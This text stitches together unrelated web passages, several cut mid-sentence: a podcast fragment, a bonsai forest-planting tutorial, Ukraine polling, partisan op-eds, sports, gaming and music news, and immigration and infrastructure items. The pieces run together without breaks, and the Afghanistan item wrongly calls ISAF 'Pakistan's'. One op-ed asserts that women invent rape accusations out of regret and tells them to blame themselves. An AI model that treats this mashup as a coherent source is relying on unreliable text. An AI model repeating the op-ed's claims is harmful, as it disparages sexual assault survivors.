MIKE: Yeah. And that my sanity was the most important thing, and that was, you know, in my first few years in L.A., like really looking for opportunities and things, I was like, oh, no, I'm not going to kill myself for something. Like, I'll take mediocre success and sanity over wild success and horrible chaos, so yeah.
PAUL: I’m going to take a wild guess that you felt peace after you made that decision.
MIKE: Immediately, which was really, really interesting.
PAUL: Somebody said one time in one of my support groups, I know I've made the right decision when I feel peace after it, and that has always stayed with me.
MIKE: Yeah. And it wasn't, it wasn't anything super new, but it was just very new to me, like you were saying, with the ripples, where it's like it doesn't matter how many other people have had to end friendships or more abusive things, like, once I identified it as that, I was, it was very freeing.
PAUL: Yeah. Sometimes it's so hard to see that we're making a decision out of fear.
MIKE: Yeah. Well, and it's so hard not to put the burden on yourself, too, where like he has problems, too, and I was like, oh, I’m failing my friend with mental illness, and I, but no.
PAUL: It's not your job to save him.
MIKE: Right. And it's, what it also came down to was like, you know the tone that a good friend takes with you when you've done something wrong?
PAUL: Mm-hmm.
MIKE: This person couldn't even manage that for me. It was like just constant hectoring and I was like, I know I do things wrong, and now, now |
was preparing for my new Classical Bonsai MasterClass. Three of the four students arrived a day early to drop off their bonsai and since my preparations were complete I seized the opportunity to create the European beech forest while presenting a private demonstration lesson for the early arrival three students.
The first step in creating a forest, rock planting or any bonsai is to prepare all the material ahead of time: trees, container, wire, soil, tools and moss. I like oval containers for forest plantings because they do not have difficult corners to aesthetically use. Shallow containers are best without prominent feet. A flat foot is better than cloud feet to provide a solid visual anchor. Beech is a deciduous species and I personally prefer an outer lip because of the flat foliage. Although unglazed containers can be displayed year around, I selected an old Japanese Tokoname-ware container from the Suishoen Heikisui Kiln. This container has been used for several bonsai from my garden during the past 30 years and has history. When selecting the container I was thinking about respect and came up with another interesting article on the topic. Rather than take up the time and space here the topic will be in a forthcoming blog entry, or magazine article.
After selecting the container, notice that it has been cleaned inside, but shows antiquity, drainage screen is placed over the holes. Although nearly everyone who grows bonsai takes the time to secure the drainage screen over the holes to prevent movement when potting with pieces of short copper wire, I do not. I have learned through decades of experience that it takes time to make and insert the wire and it’s easier and cheaper for me to simply use a larger piece of drainage screen over the holes. When potting my bonsai, usually most of the holes have copper wire to tie the tree into the pot. If carefully positioned, they will hold the drainage screen from moving. However, for this forest bonsai (mostly for demonstration purposes) in addition to using a larger piece of drainage screen, I added small copper wire clips.
Copper wire for holding the trees into the container were used, lots of them. It’s better to have too many wires than not enough, although extra wire can be always added to secure stubborn trees that want to move around. A small layer of coarse bottom soil was placed into the container, which was set aside until later.
The shipping box of the seedling transplants was then opened outside where the sunlight was bright, a rarity in Rochester this year. Each bundle of ten trees was cut open and every tree was studied. Again a few more specimens had suitable shapes for individual bonsai, while the others were graded into large, medium and small sizes. They were graded by trunk diameters, not heights, because they can easily be trimmed down or grown tall, but the trunks thicknesses are more difficult to change.
The graded seedlings were brought into the studio and root pruned. Long and heavy roots were immediately pruned short. Sometimes seedlings will develop two root systems and the lower one is often removed. But, it’s important to study all the roots, sometimes the upper roots are removed because the lower level root system has better distribution or finer roots. These are young deciduous seedlings that are vigorous, especially at this time of the year. They do not need a large number of roots at this stage. Most of the top growth will be shortened after positioning. One of the advantages of using young deciduous seedlings is that they can be positioned closer together than potted specimens with a larger root system. Again, after root pruning, the trees were graded and placed into three groups: large, medium and small.
The basic design of a forest bonsai is actually created by the position of the main larger trees. If a larger tree is not available, two trees can be planted close together to appear as one large specimen or the tree can be planted a bit higher in the container. After carefully placing the trees into the container, soil was added around the roots to keep the trunks from falling over, remember, they do not have many roots. A small amount of water from a hand sprayer will add weight to the soil to help stabilize the trees. Also, often times two or more trees are tied together at the base of the trunks. And temporary wire is usually used in the upper sections of the trees to keep the trees from moving.
Additional medium size trees are then used around the larger specimens working toward the container rim. First position the trees for similar trunk movement, keeping in mind any small branching the trunks might have. Ideally the branches should be positioned so they grow towards the outside of the forest, not inside. I do not usually prune the heights or remove inner branching until after the forest is completed. Please note that the trunks were not wired at this time. If necessary, they can be wired or refined during the summer or even best next year. I have learned, the hard way, that if you only wire one or two trees, they will look so good that you continue on and eventually wire all the trunks. So, either wire all or none of the trunks at this time.
A distant view design will be used for this forest bonsai because of all the lovely similar seedlings. The main tree is positioned towards the center of the composition and the beauty of the bonsai lies with the delicate branching the trees will develop.
Finally the smaller trees are added to the group. I also looked through a few of the European beech seedling bundles we mail order for even smaller trees. This forest actually had four different sizes of seedlings to present a wider range of trunk calibers and heights.
After enough trees were added to present a pleasing forest they were secured using the copper wires inserted through the drainage holes. I never counted the number of individual trees in this forest. The actual number is not important because the normal human eye can’t easily count more than eight trees at a time in a forest planting. Basically, what I was aiming for is to have most of the larger trunks around the main tree on the right and positioning them closer together than the other trees near the smaller trunk trees on the left.
The wires run through the planting and are tied with a wire pliers making certain that both ends of the wire are twisted together at the same time. The ends are not trimmed until the end, because they are often handy for tying to each other for additional support. Soil is then added and carefully placed around the roots.
Next moist green moss is applied in small pieces first around each trunk base. It is gently pressed into the dry soil to secure the trunk positioning. While doing this, each trunk is again adjusted and can even be rotated for better viewing from the front. All the moss is placed next to each other without gaps to hold the trees in position.
Once the moss has been completely planted the trees are trimmed. First the height of the forest bonsai is established as well as the sides. Then all the other trees are trimmed to different heights, keeping in mind the heavier trunks ideally should be taller than the skinny trunks. As adjusting the tree heights inner growing branches are removed. Trees can still be slightly positioned at this stage of development. It’s important to remember that when the planting is completely planted it is only the beginning of its development for a future forest bonsai.
After completing the planting the wire on the bottom of the container is twisted to lock the plants into final positioning. They must not move around. Additional small pieces of thin wire might be added to the tops of the trees to keep them from moving. The planting is watered from the top with water and Superthrive until it runs clear through the bottom drainage holes. Then it is placed in a sunny area, out of the wind until new buds grow.
These are the identical techniques and theory I teach when presenting educational programs around the world. My next Group Planting Seminar will be held on Saturday, April 5, 2014 in Rochester, New York.Sliding Support by Li P. Luo It’s been two years since Euromaidan in Ukraine. What does polling and economic data show? Leadership
Economy
Confidence in Government
Corruption Fears
Future
Leadership: Waning Optimism Explore the data from Gallup Petro Poroshenko’s approval rating at the end of 2015 fell to just 17% -- significantly lower than Viktor Yanukovych’s 28% before he was ousted. According to a January 2016 survey from Gallup, this low rating reflects Ukrainians’ growing dissatisfaction with Poroshenko’s leadership.
Economy Explore the World Bank indicators World Bank data suggests that Ukrainians have less purchasing power today than they did when the Soviet Union disintegrated – though there were far fewer goods and services available to purchase in those days. The value of the hryvnya has depreciated by 70% in two years while consumer prices continue to grow each month.
Confidence In Government Explore the data from Gallup Ukrainians have the lowest confidence in their national government since 2007, the survey showed. Less than one in five say their leadership is headed in the right direction, according to Gallup.
Corruption Fears Transparency International ranked Ukraine 142nd out of 175 in 2014 –perceived as the most corrupt country in Europe and as more corrupt than Sierra Leone or Honduras. While U.S. Vice President Joe Biden has praised the government’s steps to curb corruption, nine in 10 Ukrainians still say corruption is widespread in their government.
The Economy in 2016 See the report from Bloomberg Despite these challenges, Bloomberg financial data suggests that Ukraine’s economy will grow by 1.4% in 2016. In contrast, Russia’s economy is predicted to contract by 0.5% as the price of oil continues to tumble.Insurance Companies Being Told To Remain Silent About Obamacare Policy Terminations; Executives Say They Fear Retribution
So here is the game: the White House wrote regulations to insure that the maximum number of people were terminated from their old policies, thus intentionally breaking its oft-made promise.
The White House and Democrats now wish to claim it's the insurance companies who are doing this.
The insurance companies would like to say that this isn't true -- that the White House is forcing them to do this, and furthermore, that they warned the White House that Obamacare regulations were forcing huge numbers of terminations -- but the White House demands they be silent and take their scapegoating.
And why are they are afraid? Because with the stroke of a pen, the government has now become the country's biggest insurance customer.
Oh, and this White House is vengeful, vindictive, petty, and Nixonian, of course.
Is this still America?to come to New York City (wait, who are we kidding?) the time has never been better. Milkshake connoisseurs all around the world are losing it over these “hella insane” creations by fan favorite restaurant, Black Tap
If you’ve ever needed an excuse
While we are forever loyal to the loaded NYC Bloody Mary, this new recruit to the drink realm blows any existing competition away. The $15 shakes are taking the city by storm, with toppings such as lollipops, M&M's, cookies, chocolate covered pretzels, and cake perched high above a towering glass of thick, frothy heaven. With buzz already happening all over Instagram and Facebook, the new opening is well on it's way to sweet success.
We're pretty sure this place will bring more boys to the yard than Kelis did back in 2003.AP The second in command of Pakistan's International Security and Assistance Force, General James Bucknall, gave his first interview since accepting command and asked for patience from U.S. officials, and to not be left behind in 2014.
That is the year the Obama administration will begin withdrawing American troops from the region and transitioning control to Afghanistan.
In a report by the Guardian, Bucknall said, "now is not the time to blink" and that the withdrawal date will only further Taliban attacks.
The concern is particualrly pointed now, with the reduction of NATO troops later this year, and the death of Osama Bin Laden, the U.S. may be about to seriously re-direct its $100 billion a year Afghanistan campaign.
A diplomatic source who asked not to be named said:
Afghanistan has been the centre of the world for the past 10 years. It isn't anymore and the purse strings from donors will soon tighten. The international military drawdown will begin. There will then be a limited period where there is some money available for non-military efforts.
After this, many Afghans fear they will then be abandoned again. The international community will say 'job done' and it will be case of presenting it as "Afghan-good enough."
Bucknall stressed that long term planning remains the key to short term success. It's a point international officials understand, but one they may be limited from acting upon by the voters at home.I Have Reported Brianna Wu To Kickstarter For Failure to Produce Revolution 60
GethN7 Blocked Unblock Follow Following Nov 17, 2015
Back before I was libeled by Brianna Wu, I promised to review Revolution 60 after a legitimate purchase of the Steam version at one point, which I still intend to do, assuming it ever comes out.
However, given it should have come out by the end of October 2015 and we are now over halfway through November, I decided, even though I did not hand Wu money for the game at the time of its Kickstarter, to see if there were any updates on the Kickstarter page regarding the delay.
https://www.kickstarter.com/projects/spacekat/bring-revolution-60-to-pc-and-mac/posts/1324177
Nothing. Which is odd, as Kickstarter’s terms dictate the creator must exercise due diligence in providing a product within the timetable they specify and keep everyone in the loop about any delays, but there is nothing whatsoever about the delays, even though it’s half a month past the confirmed launch period.
I thus decided to report this to Kickstarter because this struck me as fraudulent (not to mention incredibly unfair to those parties who legitimately submitted funding in good faith), because not only do I want to play a PC release of the game (despite my personal feeling on the developer, I do want to give the game a review based on its own merits), I feel those who kickstarted this project deserve to get what they paid for, and I hope by calling attention to this Wu at least decides to show honor to the expectant customers of the product even if Wu is manifestly unable to show honor to me personally and apologize for libeling my reputation on Twitter for their own gain.
I urge anyone who has contributed money to this project to inquire with Wu by any means necessary to make sure the product will be delivered, and if not, to seek means of getting your money back. I also call upon those same individuals to submit their own queries to Kickstarter to make sure they weren’t taken for a ride, as it’s almost December and no game or news has materialized for it’s backers in a format deemed acceptable by Kickstarter’s TOS.“Accidents happen—that’s why we have emergency contraception, also known as the morning-after pill.” — Planned Parenthood website
Well, regret happens, too. That’s precisely why falsely accused students need the protection of a “Morning-After Bill.”
The night started out innocently with some flirtatious behavior and hanging out at a local bar. It was great fun and their inhibitions were waning. The college duo decided to leave and go to her dorm room because her roommate was gone for the weekend. They started making out, fondling, and each took off their own clothes. What ensued next was consensual sex, more than once. He left her at 4 am. The next day they each texted and said they had a good time, but she began worrying about her reputation. Who saw them together? Who saw him leave her room? What stories will he tell his friends? Did I really want to have sex with him?
Ugh. Regret.
Days later, she filed a complaint with the Office of Equal Opportunity saying she didn’t consent to the sex. She said she was R-A-P-E-D.
Regret happens. Regret does not equal rape.
The Morning-After Bill will help ensure a night of consensual sex, followed by next day regret of the once-willing partner, will not amount to a false accusation charge of rape in attempt to rid oneself of regret, embarrassment and a host of other feelings.
Unfortunately women do make up allegations of sexual assault for a multitude of reasons like wanting attention, having a boyfriend, being worried about their reputation, getting “back” at a guy for not wanting a long -term relationship, or having “buyer’s remorse”. There’s that r-e-g-r-e-t again.
Sadly, real rape does happen. Sadly, false accusations also happen. That is precisely why due process at the university level is imperative to uncover the truth of what really happened. Since the 2011 “Dear Colleague Letter”, universities have experienced immense pressure to accept the claims of sexual assault at face value to avoid being seen as unresponsive to a so-called “rape crisis”, or risk financial penalties from the government. Just because a female claims sexual assault does not mean that it took place, and I propose that most university personnel are not effectively trained to do a fair investigation to uncover the truth.
If a university is going to act on these accusations and impose harsh consequences that can affect a student for the rest of their life, then absolutely they must employ careful, non-biased judicial standards. At minimum, those involved in the case should be very well trained in sexual assault law and policy and employ standards of due process. By no means should they assume guilt from the outset and in turn conduct a biased investigation supporting the female accuser to avoid pressure and penalties from the government for not taking rape accusations seriously.
Most, if not all, of these rape accusations should be handed over to the local police department and judicial system that protects every person accused of a crime, and provide the right to counsel, due process, and a fair investigation. Those rights should not have to be forfeited once a person is accused of a crime on a University campus.
The Morning-After Bill will help ensure regret does not equal rape and guarantee due process is granted to both parties. Unlike the Morning-After Pill, a person can’t “un-do” the sex they had the night before by blaming someone for their once-willing behavior.
To young college women, I implore you to allow your regret motivate you to take responsibility for future behavior. If you are disappointed in yourself and your choices, let your regret motivate you to change your future behavior. Use this as a learning experience. Do not blame someone else for your actions that at one time were exactly what you wanted. Thinking before acting is wisdom, but acting before thinking can lead to regret.
Blame yourself, but don’t blame an innocent young man.
“Blaming others for our choices is like blaming donuts for being fat. It wasn’t the donut; it was the choice” – Jeff Gitmore
Renee Jolly is a parent of a son who was falsely accused by a female student, and expelled from his university. She stands for fairness and due process for all students on University campuses across this nation.To hear the bill’s sponsors tell it, the Pain-Capable Unborn Child Protection Act (H.R. 36) is about safeguarding fetuses that science has proven are capable of feeling pain. “No pain capable baby should have to undergo agonizing dismemberment in an elective late term abortion,” wrote the bill’s sponsor, Republican Arizona Congressman Trent Franks, in a Fox News commentary. If the bill is passed by the Senate — though that looks unlikely — the law would make it illegal for any person to perform or attempt to perform an abortion if the probable post-fertilization age of the fetus is 20 weeks or more. But despite the scientific trappings, the heart of this debate, like many political debates, is about ideology and values, not science.
But let’s discuss the research for a moment. The bill uses a lot of scientific-sounding arguments to make its case, but abortion-rights advocates argue that the conclusions it reaches run counter to current scientific research about fetal development. Jennifer Gunter, an OB-GYN and pain medicine physician, said the first thing to know is that the bill’s framing of this as a 20-week ban is misleading: It’s a 22-week ban. That’s because the 20-week post-fertilization point referred to in the bill is what physicians refer to as 22 weeks of gestational age, which is counted from the first day of the pregnant woman’s last menstrual period.
But even at 22 weeks, a human fetus doesn’t have the capacity to experience pain, according to evidence cited by abortion-rights supporters. “Rigorous scientific studies have found that the connections necessary to transmit signals from peripheral sensory nerves to the brain, as well as the brain structures necessary to process those signals, do not develop until at least 24 weeks of gestation,” according to a 2013 statement on fetal pain titled “Facts Are Important,” released by the American Congress of Obstetricians and Gynecologists (ACOG). “Because it lacks these connections and structures, the fetus does not even have the physiological capacity to perceive pain until at least 24 weeks of gestation,” continues the statement, which cites a review of the evidence published in the Journal of the American Medical Association and a report from the Royal College of Obstetricians and Gynecologists. This month, the ACOG issued a new statement opposing H.R. 36, saying the bill “limits access to safe, evidence-based care.”
National Right to Life, an anti-abortion group whose model legislation was used to write H.R. 36, contends that the scientific evidence that ACOG cites is incomplete. According to Jennifer Popik, director of federal legislation for National Right to Life, the fundamental split in thinking here is over whether a fetus needs to have a fully formed and connected cerebral cortex before it can feel pain. The ACOG statement and the researchers who published the JAMA review say that brain structure is a prerequisite for experiencing pain, but National Right to Life says it isn’t. “There’s an entirely other body of research that says you don’t actually need the cortex to experience pain, that the cortex helps you modulate it,” Popik said. “We’re always looking for ways to talk about the baby — to keep the baby in the debate. This is a good way to do it, because it’s legally sound and scientifically sound,” Popik said.
Among the evidence presented in the bill to support its contention that a fetus can feel pain at 20 weeks post-fertilization is the fact that anesthesia is often used during fetal surgery. The JAMA review, however, concluded that such anesthesia is given to inhibit fetal movement and for the mother’s benefit, not for fetal pain. The bill also states that 20 weeks after fertilization, a fetus can react “to stimuli that would be recognized as painful if applied to an adult human, for example, by recoiling,” but Gunter said that this is not evidence that the fetus is feeling pain. “It’s only pain when the brain assembles a signal and tells you it’s pain,” she said. “Neither withdrawal reflexes nor hormonal stress responses to invasive procedures prove the existence of fetal pain,” according to the JAMA review, because these same responses can be elicited by nonpainful stimuli and may occur without conscious processing in the brain.
But this particular debate over what the science does and doesn’t show is largely a distraction, because what we have here isn’t a scientific debate, but a moral one. Each side is using science to support age-old value judgments about when life begins and how the rights of a pregnant person are weighed against the rights that a fetus may or may not have; new scientific evidence is unlikely to change many minds.
National Right to Life believes human life begins when an egg is fertilized, and several of the bill’s other proponents have also been clear that they’d like to ban abortion altogether. For example, a 2010 brief about fetal pain published by the Family Research Council, another anti-abortion group and supporter of the bill, states that, “The humanness of the unborn child is not contingent on its capacity for pain. Whether or not an unborn child can feel pain is irrelevant to the respect that an unborn person deserves.”
Opponents of the bill say the intent of the fetal pain language is to change the focus of the debate. “Obviously, no one wants fetuses to experience pain, and that evokes a lot of emotion in people,” said Kristyn Brandi, an OB-GYN with the ACOG. “But this legislation is not based on facts.”Toronto's transit infrastructure is so badly in need of expansion that at least one group is taking matters into its own hands. LineSix Transit, a reference to Drake's moniker for Toronto, is a crowdfunding initiative for transit expansion in Toronto. If you fund it, the people will ride... so the thinking goes. That's especially true when the financial support comes tied to seats on the bus, as is the case here.
The first iteration of the route will extend from Liberty Village to Union Station, with a pilot between October 6th and 10th. Service runs in the morning (only), with each person who pledges $25 or more getting a guaranteed spot on the bus. The crowdfunding goal is a modest $2,500 for the pilot, of which $1,400 is already accounted for.
While I think that afternoon service would be more useful (and popular) than service from Union in the morning, this little experiment should serve as a valuable testing ground to see if there's an appetite a DIY approach to transit expansion. What do you think? Could this be a way to improve commuter service in Toronto?
Photo by Ben Roffelsen in the blogTO Flickr pool.MARIETTA, GA — The husband of Georgia's 6th Congressional District candidate Karen Handel retweeted an image Tuesday that included a message for voters to "free the black slaves from the Democratic plantation."
It is unclear how Steve Handel's social media gaffe will affect the race, which pits Republican Karen Handel against first-time candidate, Democrat Jon Ossoff, and is being viewed by many as a litmus test of President Donald Trump's popularity.
The controversial Twitter image, which was retweeted or forwarded from another account, has since been deleted by the original poster and has vanished from Steve Handel's account as well. SIGN UP: To get more election news, click here to sign up for the Marietta Patch. Or find your Atlanta-area town here. Or, if you have an iPhone, download the free Patch app.
Handel's campaign quickly responded to the flub, saying that her husband had not been paying attention to the commentary of the tweet, which was accompanied by a picture of the former secretary of State with the titles "Handel Will Fight For Minorities To Excel" and "Join The Movement."
In the tweet, her picture was juxtaposed next to an image of a black man in a suit with the following words, CNN reports:
"Criticizing black kids for obeying the law, studying in school, and being ambitious as 'acting white' is a trick Democrats play on Black people to keep them poor, ignorant, and dependent. Free the black slaves from the Democratic plantation."
The Handel campaign said the tweet had been taken down and was not appropriate. Below is the same image from another user:
Karen Handel Under Fire After Husband Shares "Free Black Slaves from Democratic Party... https://t.co/PZj8UCxE9W
— Hinterland Gazette (@hinterlandg) May 2, 2017
"Like many of us, he (Steve) made a mistake and retweeted something he didn't pay a lot of attention to, thinking it was just an absentee vote message. It clearly was not appropriate and has been deleted," a campaign spokesperson told CNN.
Steve Handel has not exactly stayed in the background during the 6th District campaign. During the run-up to the April 19 special election, he appeared in a Handel For Congress ad as a foil illustrating the "games" that other candidates were said to be playing.
The mishap comes the same day that Karen Handel released an ad that shows a more personal side. In the one-minute spot titled "Story," she highlights some of her early years, including leaving home when she was 17 years old to escape a "pretty tough and difficult" family environment.
6th District Race: New Poll Shows Ossoff, Handel In Dead Heat
The 6th Congressional District seat, which covers a swath of affluent Atlanta suburbs encompassing parts of Cobb, DeKalb and Fulton counties, became available when U.S. Rep. Tom Price, a Roswell doctor, vacated the position to become the nation's health secretary. Handel is in a tight race with Ossoff, who nearly won the House seat outright last month.
Trump raised $750,000 for Handel last week at an event at the Capital City Club following his speech at the NRA convention. Handel needs the cash in what is on pace to be the most expensive House race in the nation's history. Ossoff, raised a startling $8.3 million in his run-up to the April 18 special election, falling just short of winning it outright and turning the 6th District.
Image via Karen Handel For Congress / YoutubeATLANTA -- New York Mets third baseman David Wright watched at Turner Field on Friday as the Atlanta Braves honored their lifelong third baseman, Chipper Jones.
Will Wright, a decade from now, be recognized in Queens with a similar ceremony?
In an exclusive interview with ESPNNewYork.com, Wright indicated he is unsure who will be his employer in 2014, much less at the end of his career.
"No idea," he said.
Wright wants his next contract to take him until the end of his career. He turns 30 on Dec. 20. The Mets have a $16 million option on Wright for next season, but his future -- even for 2013 -- remains unclear.
Wright has resolved to test free agency during the 2013-14 offseason if no extension can be consummated this winter. He does not want in-season dialogue.
Of course, if it becomes clear this offseason an extension cannot be reached, the Mets could trade Wright before Opening Day. Asked by the team's television network about the potential of trading Wright or knuckleballer R.A. Dickey ($5 million team option for 2013) this offseason if it becomes clear extension negotiations with either are far apart, general manager Sandy Alderson said, "I think that you have to constantly assess where you are and where they might be and make the best possible judgment."
Wright already ranks sixth among active players in games played while appearing exclusively for one team. He trails only Derek Jeter, Jones, Todd Helton, Michael Young and Jimmy Rollins.
Although he revered Cal Ripken Jr. while growing up in Norfolk, Va., in part because of the Hall of Famer's lifelong employment with one organization, Wright does not have an iron-clad resolution to remain a Met. He watched Jose Reyes depart as a free agent for the Miami Marlins last offseason, offering a dose of reality.
"I always thought Jose would be back, that it was just a lot to do about nothing," Wright said. "We've known each other since 2001. You're talking about playing around or with each other for 11 years. Yeah, of course it opens your eyes. It makes you realize in a lot of ways there is an ugly business side to this -- whether it's from the player's perspective or the team's perspective."
Wright has become the Mets' career leader in hits, RBIs, runs and walks this season. He also has only one playoff experience during his career, though. He wants the organization to demonstrate it has a plan for winning. And by that he means more than a review of prospects in the pipeline.
Mets principal owner Fred Wilpon and family slashed roughly $50 million from the payroll last winter, placing it at a middle-market level of about $95 million. If the Mets are to have a payroll in that range for the foreseeable future, with Wright occupying 20 to 25 percent of it, re-signing may not be attractive to him.
"I think we've demonstrated we have some talent in our minor leagues," Wright said. "Some of the young arms that have come up have been really impressive. But, at the same time, of course it's important that we can make a trade or sign a free agent and be able to spend some money. This is my philosophy on it. And that's why I'm going to sit down with these guys at some point and discuss it. Yeah, I'd like to know if it's going to be 'what you see is what you get' and we're going to base it solely on the minor leagues."
What if the current payroll constraints will be in place for a while?
"That would be something I'd have to think about, obviously," Wright said.
With Mets chief operating officer Jeff Wilpon in an interview room at Citi Field three weeks ago waiting to present Jones with a gift recognizing his final visit to Queens, Jones noted to reporters the Braves never let him get to spring training of a free-agency year without having locked him up. Asked if that is how an organization should approach things, Wright made a distinction between himself and Jones -- and Jeter for that manner.There has been lot of rumors this week regarding release date announcement of Skyrim: Dawnguard DLC for PS3 and PC, but Bethesda Vice President Pete Hines has stated that as of now there's no news related to this.
On Twitter, Pete Hines wrote: "We have not announced Dawnguard for any other platform, nor given any timeline for any such news. If we have any news, i promise i'd tell you".
Skyrim Dawnguard DLC was released for Xbox 360 on June 26, and fans were expecting a delay of one month before release on PS3 and PC (as was the case with past Bethesda DLC).
Realizing his mistake, Hine follwed up with a tweet to say that he was not saying that Skyrim Dawnguard DLC will not launch on any other platform, its just that there would be no news today.
"I was simply stating that expectating/demanding something today is unfounded. Not that news is never coming".
This really seems like a big CRUEL joke with Skyrim PS3 and PC gamers, isn't it?. What you guys think?, let us know your views in the comment section below.
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Paris.
With hundreds of French troops in Mali, and hundreds more headed that way, the U.S. among other countries, has also pledged some limited support: intelligence, communication, logistics, unarmed drones. But Washington obviously would like to keep a low profile. Washington, in fact, had been militating against just such a move, fearing that another Western intervention in an Arab land would provide another ideal recruiting target for erstwhile jihadis across the Muslim world, not to mention to provoking a spate of terrorist attacks in Europe.
In fact, though, it turns out that the U.S. has already played a major role in the crisis. It’s a devastating lesson of plans gone awry, another dreary footnote to the law of unintended consequences.
According to an excellent New York Times account, for the past several years, the United States has spent more than half a billion dollars in West Africa to counter the threat of radical Islam, America’s “most ambitious counterterrorism program ever across these vast, turbulent stretches of the Sahara.”
The aim of the program was that, rather than rely on the U.S. and its allies to combat Islamic terrorism in the region, the United States would train African troops to deal with the threat themselves.
To that end, for five years U.S. Special Forces trained Malian troops in a host of vital combat and counterterrorism skills. The outcome was considered by the Pentagon to be exemplary
But all that collapsed as the result of another unintended consequence– of the French-led intervention in Libya. After the fall of Khadhaffi, droves of battle-hardened, well-armed Islamic fighters and Tuareg tribesmen, who had been fighting in Libya, swarmed into Northern Mali.
Joined by other more radical Islamist forces, some linked to Al Qaeda, they had no trouble defeating the Malian army.
Why? Because of the defection to the rebels of several key Malian officers, who had been trained by the Americans. Turns out that those officers, who were supposed to battle the rebels, were ethnic Tuaregs, the same nomads who were part of the rebellion.
According to the Times, The Tuareg commanders of three of the four Malian units in the north, at the height of the battle, decided to join the insurrection, taking weapons, valuable equipment and their American training with them. They were followed by about 1600 additional army defectors, demolishing the government’s hope of resisting the rebel attack.
In other words, it’s very likely that the French and their allies-to-come in Mali will be battling rebel troops trained by the U.S. Special Forces.
Caught totally by surprise by the whole ghastly mess, the American officials involved with the training program were reportedly flabbergasted.
There are obvious questions: How was it possible for the Special Forces and their Pentagon bosses and the CIA to have had such a total lack of understanding of the Malian officers they’d trained and the country they’d been operating in for over five years? But you could ask that same question about U.S. military actions in any number of countries over the past few decades, from Lebanon to Iraq to Afghanistan, where the most apt comparison might be to releasing elephants into a porcelain shop.
Which leads to a more fundamental question: how is the U.S. to avoid similar catastrophic mistakes down the road? The Pentagon has recently announced that some 3,000 troops, no longer needed in Afghanistan, have been reassigned to work with the local military in 35 countries across Africa–to deal with the threat of Al Qaeda-linked terrorism.
Sounds just like what was going on in Mali.
But does anyone really think the U.S. and its military will have a better understanding of the myriad forces, tribes, religions, governments, legal and illicit financial interests struggling for power and influence in those countries than it did in Mali?
Or in Iraq, Or Afghanistan or Iran or Somalia or Lebanon, or Vietnam or Cambodia.
And has France now embarked down the same tragic path?
Barry M. Lando, a graduate of Harvard and Columbia University, spent 25 years as an award-winning investigative producer with 60 Minutes. His latest book is “Web of Deceit: The History of Western Complicity in Iraq, from Churchill to Kennedy to George W. Bush.” Lando is currently completing a novel, “The Watchman’s File”, concerning Israel’s most closely guarded secret (it’s not the bomb.) He can be reached through his blog.Looking for news you can trust?
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Crossroads GPS, the shadowy outside spending group connected to Karl Rove, has rolled out the latest installment of its multi-million dollar ad blitz |
really hard to find space to house your addiction. This also means that there is a lot less guff on the Saturn. While there are a few throwaway sports titles and movie tie-ins, these are much, much less common and so collecting for the Saturn means that you’re more likely to be collecting games that you actually want to play.
The End of an Era
Sadly for Sega, the failure of the Saturn was the beginning of the end and while I shall forever mourn their loss, I can’t help but feel that it has given the console a kind of forlorn oddness. Many of the games at the beginning of its lifespan show Sega’s desire to experiment with the hardware, producing weirdness in the form of Clockwork Knight and Bug. However, towards the end of its lifespan, once Sega had accepted defeat but had also become extremely adept with the Saturn’s quirks, they produced some of the best and most unique titles of the era, such as futuristic firefighter simulator ‘Burning Rangers’ and ports of obscure PC games like Atlantis: The Lost Tales.
I’ve never really gotten over Sega’s collapse. I suppose my love for the Saturn stems from my desire to re-live the childhood days I spent in the blissful assumption that everything lasts forever. Alas, I now have to pay taxes and rent and I think I may also have to begin trimming my nose hairs soon. But at least I can still fire up Fighting Vipers every once in a while and pretend its 1996 again.Back in March, Los Angeleno trad-rockers Dawes played a special in-store at Grimey's for folks who'd pre-ordered the band's then-forthcoming LP Stories Don't End. As it turns out, Dawes recorded the Grimey's set for a six-song release. What's the release called? Why, Dawes: Stripped Down at Grimey's, naturally. Stripped Down will be pressed on limited-edition 12-inch orange vinyl, and it'll be released Nov. 29 — i.e., Record Store Day's Black Friday, the holiday-shopping day of choice for vinyl fetishists, completists and audiophiles.
Speaking of record dweebs, here's what Dawes frontman Taylor Goldsmith had to say about record dweebs, plus a quote from Grimey's co-honcho Doyle Davis:
"The tour reintroduced us to a certain breed of music fan and the people whose job it is to keep their worlds alive," frontman Taylor Goldsmith said. "This show is one of the performances from that tour: The gear is limited, the space is smaller than a normal venue, the material was virtually unknown at the time, but when you're playing for a group of record store regulars, you know that you're in good hands." "This is a recording of the performance that turned me into a devoted Dawes fan," said Grimey's co-owner Doyle Davis. "I had always admired their records for their immaculate construction; tasty yet restrained chops and literate songwriting. But hearing Dawes live for the first time put everything into perspective, convincing me this is one of the finest bands making music today. For what it's worth, I made a point to catch two more Dawes shows within four months of their Grimey's performance. That's how fans are made."
Stripped Down at Grimey's will feature the songs "From a Window Seat," "Someone Will," "Time Spent in Los Angeles," "Most People," "Something in Common" and "A Little Bit of Everything," and the cover features that picture of Grimey's you see over there on the right. See the full list of participating Record Store Day Black Friday venues here and the list of special releases here.Sen. Tom Cotton (R-Ark.) has officially introduced the Reforming American Immigration for Strong Employment (RAISE) Act, S. 354, in the Senate. The bill would reduce legal immigration by up to 50% by ending future chain migration and the diversity visa lottery.
Roy Beck, President and Founder of NumbersUSA responded saying, "the RAISE Act has a number -- S. 354 -- and one that we will do all possible to ensure that lives on through history as one of the great achievements of this period of our country."
The RAISE Act would:
End the Visa Lottery
Limit annual refugee admissions to 50,000
End chain migration
Reduce the worldwide level of family-sponsored immigrants from 480,000 to 88,000 by prioritizing nuclear family
Add a nonimmigrant visa for parents of adult U.S. citizens (W-Visa) 5-year renewable visa No work authorization or ability to receive public benefits
The RAISE Act would reduce legal immigration to the United States by 50% in an effort to diminish its impact on vulnerable American workers. First, it eliminates the visa lottery and limits refugee admissions to 50,000 per year, removing the ability of the President to unilaterally adjust upward refugee admissions. Further, it eliminates chain migration by limiting family-sponsored immigration to the spouses and minor children of U.S. citizens and legal permanent residents.
While U.S. citizens maintain the ability to sponsor nuclear family members without numerical limitation, the worldwide level of family-sponsored immigration is reduced from 480,000 to 88,000 to account for the elimination of the extended-family categories. Finally, a new nonimmigrant visa category is created for parents of adult U.S. citizens. Under this new category, sponsored alien parents would receive a renewable 5-year visa, but must be financially independent or supported financially by the adult son or daughter, as the visa does not authorize the alien to work or receive any form of public benefit.Hoover Dam still stands as testament to American ingenuity
The Mike O'Callaghan-Pat Tillman Memorial Bridge, opening in November, will become the second engineering feat to link southern Nevada with northern Arizona.
